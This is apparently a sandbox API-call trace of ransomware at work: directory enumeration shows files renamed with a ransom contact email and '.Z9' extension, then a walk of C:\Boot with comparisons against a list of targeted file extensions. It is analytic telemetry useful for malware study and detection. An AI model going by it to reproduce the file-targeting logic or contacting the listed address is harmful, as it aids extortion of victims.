	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36637446, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO4A81~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366110ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366110ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36637446, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO11D0~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36637446, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36637446, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366a9a0c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO7773~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3665dc05, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3665dc05, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366a9a0c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SAVEIC~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3669095a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3669095a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366cfc4b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPI~1.Z9")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366a9a0c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366a9a0c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366f5ec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="STOPIC~1.Z9")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366a9a0c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366a9a0c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366f5ec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SYSREQ~1.Z9")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366cfc4b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366cfc4b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36b6e653, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SYSREQ~2.Z9")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366f5ec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366f5ec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3671c25d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WARNIC~1.Z9")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366f5ec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366f5ec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3671c25d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WARNIC~1.Z9")) returned 0
	[0160.618] FindClose (in: hFindFile=0x76e8e8 | out: hFindFile=0x76e8e8) returned 1
	[0160.619] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a170c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a170c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a170c0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="HEADER~1.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x38dffe1c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~1.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x37c45061, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~2.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3697e795, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3697e795, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36e1d14a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~3.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~4.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x374ab83e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x374ab83e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379c5384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NEE5AD~1.Z9")) returned 1
	[0160.619] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37a08d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37a08d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37cdd9a9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NECA6D~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a170c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a170c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a3d384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c6b274, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c6b274, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c6b274, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RGB9RA~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c95712, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c95712, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c95712, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RGB9RA~2.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37cb7670, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37cb7670, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38024cf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPE~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37d03ffe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37d03ffe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x380bd639, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPE~2.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38024cf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38024cf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3804ae08, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~2.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a636b7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a636b7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a636b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x380711c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x380711c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x385f3dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~3.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a89917, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a89917, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a89917, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SPLASH~1.Z9")) returned 1
	[0160.620] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3861a0b2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3861a0b2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3861a0b2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SQMAPI~1.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36aafb1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36aafb1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36aafb1b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="STRING~1.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36aafb1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36aafb1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36fc098c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36cc5c07, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36cc5c07, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36cc5c07, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WATERM~1.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3a0a0201, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~1.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x39a73d07, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~2.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~3.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~4.Z9")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~4.Z9")) returned 0
	[0160.621] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0160.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.622] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0160.622] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.623] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0160.623] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0160.623] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0160.623] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0160.623] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0160.623] lstrlenW (lpString="BCD.LOG1") returned 8
	[0160.623] lstrlenW (lpString=".1cd") returned 4
	[0160.623] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0160.623] lstrlenW (lpString=".3ds") returned 4
	[0160.623] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0160.623] lstrlenW (lpString=".3fr") returned 4
	[0160.623] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0160.623] lstrlenW (lpString=".3g2") returned 4
